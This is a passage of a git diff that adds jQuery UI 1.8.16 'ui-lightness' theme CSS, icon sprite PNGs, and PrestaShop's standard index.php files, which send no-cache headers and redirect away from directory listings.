-32px; } +.ui-icon-arrowstop-1-w { background-position: -240px -32px; } +.ui-icon-arrowthick-1-n { background-position: 0 -48px; } +.ui-icon-arrowthick-1-ne { background-position: -16px -48px; } +.ui-icon-arrowthick-1-e { background-position: -32px -48px; } +.ui-icon-arrowthick-1-se { background-position: -48px -48px; } +.ui-icon-arrowthick-1-s { background-position: -64px -48px; } +.ui-icon-arrowthick-1-sw { background-position: -80px -48px; } +.ui-icon-arrowthick-1-w { background-position: -96px -48px; } +.ui-icon-arrowthick-1-nw { background-position: -112px -48px; } +.ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } +.ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } +.ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } +.ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } +.ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } +.ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } +.ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } +.ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } +.ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } +.ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } +.ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } +.ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } +.ui-icon-arrowreturn-1-w { background-position: -64px -64px; } +.ui-icon-arrowreturn-1-n { background-position: -80px -64px; } +.ui-icon-arrowreturn-1-e { background-position: -96px -64px; } +.ui-icon-arrowreturn-1-s { background-position: -112px -64px; } +.ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } +.ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } +.ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } +.ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } +.ui-icon-arrow-4 { background-position: 0 -80px; } +.ui-icon-arrow-4-diag { background-position: -16px -80px; } +.ui-icon-extlink { background-position: -32px -80px; } +.ui-icon-newwin { background-position: -48px -80px; } +.ui-icon-refresh { background-position: -64px -80px; } +.ui-icon-shuffle { background-position: -80px -80px; } +.ui-icon-transfer-e-w { background-position: -96px -80px; } +.ui-icon-transferthick-e-w { background-position: -112px -80px; } +.ui-icon-folder-collapsed { background-position: 0 -96px; } +.ui-icon-folder-open { background-position: -16px -96px; } +.ui-icon-document { background-position: -32px -96px; } +.ui-icon-document-b { background-position: -48px -96px; } +.ui-icon-note { background-position: -64px -96px; } +.ui-icon-mail-closed { background-position: -80px -96px; } +.ui-icon-mail-open { background-position: -96px -96px; } +.ui-icon-suitcase { background-position: -112px -96px; } +.ui-icon-comment { background-position: -128px -96px; } +.ui-icon-person { background-position: -144px -96px; } +.ui-icon-print { background-position: -160px -96px; } +.ui-icon-trash { background-position: -176px -96px; } +.ui-icon-locked { background-position: -192px -96px; } +.ui-icon-unlocked { background-position: -208px -96px; } +.ui-icon-bookmark { background-position: -224px -96px; } +.ui-icon-tag { background-position: -240px -96px; } +.ui-icon-home { background-position: 0 -112px; } +.ui-icon-flag { background-position: -16px -112px; } +.ui-icon-calendar { background-position: -32px -112px; } +.ui-icon-cart { background-position: -48px -112px; } +.ui-icon-pencil { background-position: -64px -112px; } +.ui-icon-clock { background-position: -80px -112px; } +.ui-icon-disk { background-position: -96px -112px; } +.ui-icon-calculator { background-position: -112px -112px; } +.ui-icon-zoomin { background-position: -128px -112px; } +.ui-icon-zoomout { background-position: -144px -112px; } +.ui-icon-search { background-position: -160px -112px; } +.ui-icon-wrench { background-position: -176px -112px; } +.ui-icon-gear { background-position: -192px -112px; } +.ui-icon-heart { background-position: -208px -112px; } +.ui-icon-star { background-position: -224px -112px; } +.ui-icon-link { background-position: -240px -112px; } +.ui-icon-cancel { background-position: 0 -128px; } +.ui-icon-plus { background-position: -16px -128px; } +.ui-icon-plusthick { background-position: -32px -128px; } +.ui-icon-minus { background-position: -48px -128px; } +.ui-icon-minusthick { background-position: -64px -128px; } +.ui-icon-close { background-position: -80px -128px; } +.ui-icon-closethick { background-position: -96px -128px; } +.ui-icon-key { background-position: -112px -128px; } +.ui-icon-lightbulb { background-position: -128px -128px; } +.ui-icon-scissors { background-position: -144px -128px; } +.ui-icon-clipboard { background-position: -160px -128px; } +.ui-icon-copy { background-position: -176px -128px; } +.ui-icon-contact { background-position: -192px -128px; } +.ui-icon-image { background-position: -208px -128px; } +.ui-icon-video { background-position: -224px -128px; } +.ui-icon-script { background-position: -240px -128px; } +.ui-icon-alert { background-position: 0 -144px; } +.ui-icon-info { background-position: -16px -144px; } +.ui-icon-notice { background-position: -32px -144px; } +.ui-icon-help { background-position: -48px -144px; } +.ui-icon-check { background-position: -64px -144px; } +.ui-icon-bullet { background-position: -80px -144px; } +.ui-icon-radio-off { background-position: -96px -144px; } +.ui-icon-radio-on { background-position: -112px -144px; } +.ui-icon-pin-w { background-position: -128px -144px; } +.ui-icon-pin-s { background-position: -144px -144px; } +.ui-icon-play { background-position: 0 -160px; } +.ui-icon-pause { background-position: -16px -160px; } +.ui-icon-seek-next { background-position: -32px -160px; } +.ui-icon-seek-prev { background-position: -48px -160px; } +.ui-icon-seek-end { background-position: -64px -160px; } +.ui-icon-seek-start { background-position: -80px -160px; } +/* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ +.ui-icon-seek-first { background-position: -80px -160px; } +.ui-icon-stop { background-position: -96px -160px; } +.ui-icon-eject { background-position: -112px -160px; } +.ui-icon-volume-off { background-position: -128px -160px; } +.ui-icon-volume-on { background-position: -144px -160px; } +.ui-icon-power { background-position: 0 -176px; } +.ui-icon-signal-diag { background-position: -16px -176px; } +.ui-icon-signal { background-position: -32px -176px; } +.ui-icon-battery-0 { background-position: -48px -176px; } +.ui-icon-battery-1 { background-position: -64px -176px; } +.ui-icon-battery-2 { background-position: -80px -176px; } +.ui-icon-battery-3 { background-position: -96px -176px; } +.ui-icon-circle-plus { background-position: 0 -192px; } +.ui-icon-circle-minus { background-position: -16px -192px; } +.ui-icon-circle-close { background-position: -32px -192px; } +.ui-icon-circle-triangle-e { background-position: -48px -192px; } +.ui-icon-circle-triangle-s { background-position: -64px -192px; } +.ui-icon-circle-triangle-w { background-position: -80px -192px; } +.ui-icon-circle-triangle-n { background-position: -96px -192px; } +.ui-icon-circle-arrow-e { background-position: -112px -192px; } +.ui-icon-circle-arrow-s { background-position: -128px -192px; } +.ui-icon-circle-arrow-w { background-position: -144px -192px; } +.ui-icon-circle-arrow-n { background-position: -160px -192px; } +.ui-icon-circle-zoomin { background-position: -176px -192px; } +.ui-icon-circle-zoomout { background-position: -192px -192px; } +.ui-icon-circle-check { background-position: -208px -192px; } +.ui-icon-circlesmall-plus { background-position: 0 -208px; } +.ui-icon-circlesmall-minus { background-position: -16px -208px; } +.ui-icon-circlesmall-close { background-position: -32px -208px; } +.ui-icon-squaresmall-plus { background-position: -48px -208px; } +.ui-icon-squaresmall-minus { background-position: -64px -208px; } +.ui-icon-squaresmall-close { background-position: -80px -208px; } +.ui-icon-grip-dotted-vertical { background-position: 0 -224px; } +.ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } +.ui-icon-grip-solid-vertical { background-position: -32px -224px; } +.ui-icon-grip-solid-horizontal { background-position: -48px -224px; } +.ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } +.ui-icon-grip-diagonal-se { background-position: -80px -224px; } + + +/* Misc visuals +----------------------------------*/ + +/* Corner radius */ +.ui-corner-all, .ui-corner-top, .ui-corner-left, .ui-corner-tl { -moz-border-radius-topleft: 4px/*{cornerRadius}*/; -webkit-border-top-left-radius: 4px/*{cornerRadius}*/; -khtml-border-top-left-radius: 4px/*{cornerRadius}*/; border-top-left-radius: 4px/*{cornerRadius}*/; } +.ui-corner-all, .ui-corner-top, .ui-corner-right, .ui-corner-tr { -moz-border-radius-topright: 4px/*{cornerRadius}*/; -webkit-border-top-right-radius: 4px/*{cornerRadius}*/; -khtml-border-top-right-radius: 4px/*{cornerRadius}*/; border-top-right-radius: 4px/*{cornerRadius}*/; } +.ui-corner-all, .ui-corner-bottom, .ui-corner-left, .ui-corner-bl { -moz-border-radius-bottomleft: 4px/*{cornerRadius}*/; -webkit-border-bottom-left-radius: 4px/*{cornerRadius}*/; -khtml-border-bottom-left-radius: 4px/*{cornerRadius}*/; border-bottom-left-radius: 4px/*{cornerRadius}*/; } +.ui-corner-all, .ui-corner-bottom, .ui-corner-right, .ui-corner-br { -moz-border-radius-bottomright: 4px/*{cornerRadius}*/; -webkit-border-bottom-right-radius: 4px/*{cornerRadius}*/; -khtml-border-bottom-right-radius: 4px/*{cornerRadius}*/; border-bottom-right-radius: 4px/*{cornerRadius}*/; } + +/* Overlays */ +.ui-widget-overlay { background: #aaaaaa/*{bgColorOverlay}*/ url(images/ui-bg_flat_0_aaaaaa_40x100.png)/*{bgImgUrlOverlay}*/ 50%/*{bgOverlayXPos}*/ 50%/*{bgOverlayYPos}*/ repeat-x/*{bgOverlayRepeat}*/; opacity: .3;filter:Alpha(Opacity=30)/*{opacityOverlay}*/; } +.ui-widget-shadow { margin: -8px/*{offsetTopShadow}*/ 0 0 -8px/*{offsetLeftShadow}*/; padding: 8px/*{thicknessShadow}*/; background: #aaaaaa/*{bgColorShadow}*/ url(images/ui-bg_flat_0_aaaaaa_40x100.png)/*{bgImgUrlShadow}*/ 50%/*{bgShadowXPos}*/ 50%/*{bgShadowYPos}*/ repeat-x/*{bgShadowRepeat}*/; opacity: .3;filter:Alpha(Opacity=30)/*{opacityShadow}*/; -moz-border-radius: 8px/*{cornerRadiusShadow}*/; -khtml-border-radius: 8px/*{cornerRadiusShadow}*/; -webkit-border-radius: 8px/*{cornerRadiusShadow}*/; border-radius: 8px/*{cornerRadiusShadow}*/; } \ No newline at end of file diff --git a/js/jquery/ui/themes/index.php b/js/jquery/ui/themes/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/jquery/ui/themes/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/jquery/ui/themes/ui-lightness/images/index.php b/js/jquery/ui/themes/ui-lightness/images/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/images/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/jquery/ui/themes/ui-lightness/images/ui-bg_diagonals-thick_18_b81900_40x40.png b/js/jquery/ui/themes/ui-lightness/images/ui-bg_diagonals-thick_18_b81900_40x40.png new file mode 100755 index 0000000..954e22d Binary files /dev/null and b/js/jquery/ui/themes/ui-lightness/images/ui-bg_diagonals-thick_18_b81900_40x40.png differ diff --git a/js/jquery/ui/themes/ui-lightness/images/ui-bg_diagonals-thick_20_666666_40x40.png b/js/jquery/ui/themes/ui-lightness/images/ui-bg_diagonals-thick_20_666666_40x40.png new file mode 100755 index 0000000..64ece57 Binary files /dev/null and b/js/jquery/ui/themes/ui-lightness/images/ui-bg_diagonals-thick_20_666666_40x40.png differ diff --git a/js/jquery/ui/themes/ui-lightness/images/ui-bg_flat_10_000000_40x100.png b/js/jquery/ui/themes/ui-lightness/images/ui-bg_flat_10_000000_40x100.png new file mode 100755 index 0000000..abdc010 Binary files /dev/null and b/js/jquery/ui/themes/ui-lightness/images/ui-bg_flat_10_000000_40x100.png differ diff --git a/js/jquery/ui/themes/ui-lightness/images/ui-bg_glass_100_f6f6f6_1x400.png b/js/jquery/ui/themes/ui-lightness/images/ui-bg_glass_100_f6f6f6_1x400.png new file mode 100755 index 0000000..9b383f4 Binary files /dev/null and b/js/jquery/ui/themes/ui-lightness/images/ui-bg_glass_100_f6f6f6_1x400.png differ diff --git a/js/jquery/ui/themes/ui-lightness/images/ui-bg_glass_100_fdf5ce_1x400.png b/js/jquery/ui/themes/ui-lightness/images/ui-bg_glass_100_fdf5ce_1x400.png new file mode 100755 index 0000000..a23baad Binary files /dev/null and b/js/jquery/ui/themes/ui-lightness/images/ui-bg_glass_100_fdf5ce_1x400.png differ diff --git a/js/jquery/ui/themes/ui-lightness/images/ui-bg_glass_65_ffffff_1x400.png b/js/jquery/ui/themes/ui-lightness/images/ui-bg_glass_65_ffffff_1x400.png new file mode 100755 index 0000000..42ccba2 Binary files /dev/null and b/js/jquery/ui/themes/ui-lightness/images/ui-bg_glass_65_ffffff_1x400.png differ diff --git a/js/jquery/ui/themes/ui-lightness/images/ui-bg_gloss-wave_35_f6a828_500x100.png b/js/jquery/ui/themes/ui-lightness/images/ui-bg_gloss-wave_35_f6a828_500x100.png new file mode 100755 index 0000000..39d5824 Binary files /dev/null and b/js/jquery/ui/themes/ui-lightness/images/ui-bg_gloss-wave_35_f6a828_500x100.png differ diff --git a/js/jquery/ui/themes/ui-lightness/images/ui-bg_highlight-soft_100_eeeeee_1x100.png b/js/jquery/ui/themes/ui-lightness/images/ui-bg_highlight-soft_100_eeeeee_1x100.png new file mode 100755 index 0000000..f127367 Binary files /dev/null and b/js/jquery/ui/themes/ui-lightness/images/ui-bg_highlight-soft_100_eeeeee_1x100.png differ diff --git a/js/jquery/ui/themes/ui-lightness/images/ui-bg_highlight-soft_75_ffe45c_1x100.png b/js/jquery/ui/themes/ui-lightness/images/ui-bg_highlight-soft_75_ffe45c_1x100.png new file mode 100755 index 0000000..359397a Binary files /dev/null and b/js/jquery/ui/themes/ui-lightness/images/ui-bg_highlight-soft_75_ffe45c_1x100.png differ diff --git a/js/jquery/ui/themes/ui-lightness/images/ui-icons_222222_256x240.png b/js/jquery/ui/themes/ui-lightness/images/ui-icons_222222_256x240.png new file mode 100755 index 0000000..b273ff1 Binary files /dev/null and b/js/jquery/ui/themes/ui-lightness/images/ui-icons_222222_256x240.png differ diff --git a/js/jquery/ui/themes/ui-lightness/images/ui-icons_228ef1_256x240.png b/js/jquery/ui/themes/ui-lightness/images/ui-icons_228ef1_256x240.png new file mode 100755 index 0000000..a641a37 Binary files /dev/null and b/js/jquery/ui/themes/ui-lightness/images/ui-icons_228ef1_256x240.png differ diff --git a/js/jquery/ui/themes/ui-lightness/images/ui-icons_ef8c08_256x240.png b/js/jquery/ui/themes/ui-lightness/images/ui-icons_ef8c08_256x240.png new file mode 100755 index 0000000..85e63e9 Binary files /dev/null and b/js/jquery/ui/themes/ui-lightness/images/ui-icons_ef8c08_256x240.png differ diff --git a/js/jquery/ui/themes/ui-lightness/images/ui-icons_ffd27a_256x240.png b/js/jquery/ui/themes/ui-lightness/images/ui-icons_ffd27a_256x240.png new file mode 100755 index 0000000..e117eff Binary files /dev/null and b/js/jquery/ui/themes/ui-lightness/images/ui-icons_ffd27a_256x240.png differ diff --git a/js/jquery/ui/themes/ui-lightness/images/ui-icons_ffffff_256x240.png b/js/jquery/ui/themes/ui-lightness/images/ui-icons_ffffff_256x240.png new file mode 100755 index 0000000..42f8f99 Binary files /dev/null and b/js/jquery/ui/themes/ui-lightness/images/ui-icons_ffffff_256x240.png differ diff --git a/js/jquery/ui/themes/ui-lightness/index.php b/js/jquery/ui/themes/ui-lightness/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/jquery/ui/themes/ui-lightness/jquery-ui-1.8.16.custom.css b/js/jquery/ui/themes/ui-lightness/jquery-ui-1.8.16.custom.css new file mode 100755 index 0000000..5547c7b --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/jquery-ui-1.8.16.custom.css @@ -0,0 +1,568 @@ +/* + * jQuery UI CSS Framework 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Theming/API + */ + +/* Layout helpers +----------------------------------*/ +.ui-helper-hidden { display: none; } +.ui-helper-hidden-accessible { position: absolute !important; clip: rect(1px 1px 1px 1px); clip: rect(1px,1px,1px,1px); } +.ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; } +.ui-helper-clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; } +.ui-helper-clearfix { display: inline-block; } +/* required comment for clearfix to work in Opera \*/ +* html .ui-helper-clearfix { height:1%; } +.ui-helper-clearfix { display:block; } +/* end clearfix */ +.ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); } + + +/* Interaction Cues +----------------------------------*/ +.ui-state-disabled { cursor: default !important; } + + +/* Icons +----------------------------------*/ + +/* states and images */ +.ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } + + +/* Misc visuals +----------------------------------*/ + +/* Overlays */ +.ui-widget-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } + + +/* + * jQuery UI CSS Framework 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Theming/API + * + * To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Trebuchet%20MS,%20Tahoma,%20Verdana,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=f6a828&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=35&borderColorHeader=e78f08&fcHeader=ffffff&iconColorHeader=ffffff&bgColorContent=eeeeee&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=100&borderColorContent=dddddd&fcContent=333333&iconColorContent=222222&bgColorDefault=f6f6f6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=100&borderColorDefault=cccccc&fcDefault=1c94c4&iconColorDefault=ef8c08&bgColorHover=fdf5ce&bgTextureHover=02_glass.png&bgImgOpacityHover=100&borderColorHover=fbcb09&fcHover=c77405&iconColorHover=ef8c08&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=fbd850&fcActive=eb8f00&iconColorActive=ef8c08&bgColorHighlight=ffe45c&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=75&borderColorHighlight=fed22f&fcHighlight=363636&iconColorHighlight=228ef1&bgColorError=b81900&bgTextureError=08_diagonals_thick.png&bgImgOpacityError=18&borderColorError=cd0a0a&fcError=ffffff&iconColorError=ffd27a&bgColorOverlay=666666&bgTextureOverlay=08_diagonals_thick.png&bgImgOpacityOverlay=20&opacityOverlay=50&bgColorShadow=000000&bgTextureShadow=01_flat.png&bgImgOpacityShadow=10&opacityShadow=20&thicknessShadow=5px&offsetTopShadow=-5px&offsetLeftShadow=-5px&cornerRadiusShadow=5px + */ + + +/* Component containers +----------------------------------*/ +.ui-widget { font-family: Trebuchet MS, Tahoma, Verdana, Arial, sans-serif; font-size: 1.1em; } +.ui-widget .ui-widget { font-size: 1em; } +.ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-family: Trebuchet MS, Tahoma, Verdana, Arial, sans-serif; font-size: 1em; } +.ui-widget-content { border: 1px solid #dddddd; background: #eeeeee url(images/ui-bg_highlight-soft_100_eeeeee_1x100.png) 50% top repeat-x; color: #333333; } +.ui-widget-content a { color: #333333; } +.ui-widget-header { border: 1px solid #e78f08; background: #f6a828 url(images/ui-bg_gloss-wave_35_f6a828_500x100.png) 50% 50% repeat-x; color: #ffffff; font-weight: bold; } +.ui-widget-header a { color: #ffffff; } + +/* Interaction states +----------------------------------*/ +.ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { border: 1px solid #cccccc; background: #f6f6f6 url(images/ui-bg_glass_100_f6f6f6_1x400.png) 50% 50% repeat-x; font-weight: bold; color: #1c94c4; } +.ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #1c94c4; text-decoration: none; } +.ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { border: 1px solid #fbcb09; background: #fdf5ce url(images/ui-bg_glass_100_fdf5ce_1x400.png) 50% 50% repeat-x; font-weight: bold; color: #c77405; } +.ui-state-hover a, .ui-state-hover a:hover { color: #c77405; text-decoration: none; } +.ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #fbd850; background: #ffffff url(images/ui-bg_glass_65_ffffff_1x400.png) 50% 50% repeat-x; font-weight: bold; color: #eb8f00; } +.ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #eb8f00; text-decoration: none; } +.ui-widget :active { outline: none; } + +/* Interaction Cues +----------------------------------*/ +.ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight {border: 1px solid #fed22f; background: #ffe45c url(images/ui-bg_highlight-soft_75_ffe45c_1x100.png) 50% top repeat-x; color: #363636; } +.ui-state-highlight a, .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a { color: #363636; } +.ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error {border: 1px solid #cd0a0a; background: #b81900 url(images/ui-bg_diagonals-thick_18_b81900_40x40.png) 50% 50% repeat; color: #ffffff; } +.ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #ffffff; } +.ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #ffffff; } +.ui-priority-primary, .ui-widget-content .ui-priority-primary, .ui-widget-header .ui-priority-primary { font-weight: bold; } +.ui-priority-secondary, .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); font-weight: normal; } +.ui-state-disabled, .ui-widget-content .ui-state-disabled, .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); background-image: none; } + +/* Icons +----------------------------------*/ + +/* states and images */ +.ui-icon { width: 16px; height: 16px; background-image: url(images/ui-icons_222222_256x240.png); } +.ui-widget-content .ui-icon {background-image: url(images/ui-icons_222222_256x240.png); } +.ui-widget-header .ui-icon {background-image: url(images/ui-icons_ffffff_256x240.png); } +.ui-state-default .ui-icon { background-image: url(images/ui-icons_ef8c08_256x240.png); } +.ui-state-hover .ui-icon, .ui-state-focus .ui-icon {background-image: url(images/ui-icons_ef8c08_256x240.png); } +.ui-state-active .ui-icon {background-image: url(images/ui-icons_ef8c08_256x240.png); } +.ui-state-highlight .ui-icon {background-image: url(images/ui-icons_228ef1_256x240.png); } +.ui-state-error .ui-icon, .ui-state-error-text .ui-icon {background-image: url(images/ui-icons_ffd27a_256x240.png); } + +/* positioning */ +.ui-icon-carat-1-n { background-position: 0 0; } +.ui-icon-carat-1-ne { background-position: -16px 0; } +.ui-icon-carat-1-e { background-position: -32px 0; } +.ui-icon-carat-1-se { background-position: -48px 0; } +.ui-icon-carat-1-s { background-position: -64px 0; } +.ui-icon-carat-1-sw { background-position: -80px 0; } +.ui-icon-carat-1-w { background-position: -96px 0; } +.ui-icon-carat-1-nw { background-position: -112px 0; } +.ui-icon-carat-2-n-s { background-position: -128px 0; } +.ui-icon-carat-2-e-w { background-position: -144px 0; } +.ui-icon-triangle-1-n { background-position: 0 -16px; } +.ui-icon-triangle-1-ne { background-position: -16px -16px; } +.ui-icon-triangle-1-e { background-position: -32px -16px; } +.ui-icon-triangle-1-se { background-position: -48px -16px; } +.ui-icon-triangle-1-s { background-position: -64px -16px; } +.ui-icon-triangle-1-sw { background-position: -80px -16px; } +.ui-icon-triangle-1-w { background-position: -96px -16px; } +.ui-icon-triangle-1-nw { background-position: -112px -16px; } +.ui-icon-triangle-2-n-s { background-position: -128px -16px; } +.ui-icon-triangle-2-e-w { background-position: -144px -16px; } +.ui-icon-arrow-1-n { background-position: 0 -32px; } +.ui-icon-arrow-1-ne { background-position: -16px -32px; } +.ui-icon-arrow-1-e { background-position: -32px -32px; } +.ui-icon-arrow-1-se { background-position: -48px -32px; } +.ui-icon-arrow-1-s { background-position: -64px -32px; } +.ui-icon-arrow-1-sw { background-position: -80px -32px; } +.ui-icon-arrow-1-w { background-position: -96px -32px; } +.ui-icon-arrow-1-nw { background-position: -112px -32px; } +.ui-icon-arrow-2-n-s { background-position: -128px -32px; } +.ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } +.ui-icon-arrow-2-e-w { background-position: -160px -32px; } +.ui-icon-arrow-2-se-nw { background-position: -176px -32px; } +.ui-icon-arrowstop-1-n { background-position: -192px -32px; } +.ui-icon-arrowstop-1-e { background-position: -208px -32px; } +.ui-icon-arrowstop-1-s { background-position: -224px -32px; } +.ui-icon-arrowstop-1-w { background-position: -240px -32px; } +.ui-icon-arrowthick-1-n { background-position: 0 -48px; } +.ui-icon-arrowthick-1-ne { background-position: -16px -48px; } +.ui-icon-arrowthick-1-e { background-position: -32px -48px; } +.ui-icon-arrowthick-1-se { background-position: -48px -48px; } +.ui-icon-arrowthick-1-s { background-position: -64px -48px; } +.ui-icon-arrowthick-1-sw { background-position: -80px -48px; } +.ui-icon-arrowthick-1-w { background-position: -96px -48px; } +.ui-icon-arrowthick-1-nw { background-position: -112px -48px; } +.ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } +.ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } +.ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } +.ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } +.ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } +.ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } +.ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } +.ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } +.ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } +.ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } +.ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } +.ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } +.ui-icon-arrowreturn-1-w { background-position: -64px -64px; } +.ui-icon-arrowreturn-1-n { background-position: -80px -64px; } +.ui-icon-arrowreturn-1-e { background-position: -96px -64px; } +.ui-icon-arrowreturn-1-s { background-position: -112px -64px; } +.ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } +.ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } +.ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } +.ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } +.ui-icon-arrow-4 { background-position: 0 -80px; } +.ui-icon-arrow-4-diag { background-position: -16px -80px; } +.ui-icon-extlink { background-position: -32px -80px; } +.ui-icon-newwin { background-position: -48px -80px; } +.ui-icon-refresh { background-position: -64px -80px; } +.ui-icon-shuffle { background-position: -80px -80px; } +.ui-icon-transfer-e-w { background-position: -96px -80px; } +.ui-icon-transferthick-e-w { background-position: -112px -80px; } +.ui-icon-folder-collapsed { background-position: 0 -96px; } +.ui-icon-folder-open { background-position: -16px -96px; } +.ui-icon-document { background-position: -32px -96px; } +.ui-icon-document-b { background-position: -48px -96px; } +.ui-icon-note { background-position: -64px -96px; } +.ui-icon-mail-closed { background-position: -80px -96px; } +.ui-icon-mail-open { background-position: -96px -96px; } +.ui-icon-suitcase { background-position: -112px -96px; } +.ui-icon-comment { background-position: -128px -96px; } +.ui-icon-person { background-position: -144px -96px; } +.ui-icon-print { background-position: -160px -96px; } +.ui-icon-trash { background-position: -176px -96px; } +.ui-icon-locked { background-position: -192px -96px; } +.ui-icon-unlocked { background-position: -208px -96px; } +.ui-icon-bookmark { background-position: -224px -96px; } +.ui-icon-tag { background-position: -240px -96px; } +.ui-icon-home { background-position: 0 -112px; } +.ui-icon-flag { background-position: -16px -112px; } +.ui-icon-calendar { background-position: -32px -112px; } +.ui-icon-cart { background-position: -48px -112px; } +.ui-icon-pencil { background-position: -64px -112px; } +.ui-icon-clock { background-position: -80px -112px; } +.ui-icon-disk { background-position: -96px -112px; } +.ui-icon-calculator { background-position: -112px -112px; } +.ui-icon-zoomin { background-position: -128px -112px; } +.ui-icon-zoomout { background-position: -144px -112px; } +.ui-icon-search { background-position: -160px -112px; } +.ui-icon-wrench { background-position: -176px -112px; } +.ui-icon-gear { background-position: -192px -112px; } +.ui-icon-heart { background-position: -208px -112px; } +.ui-icon-star { background-position: -224px -112px; } +.ui-icon-link { background-position: -240px -112px; } +.ui-icon-cancel { background-position: 0 -128px; } 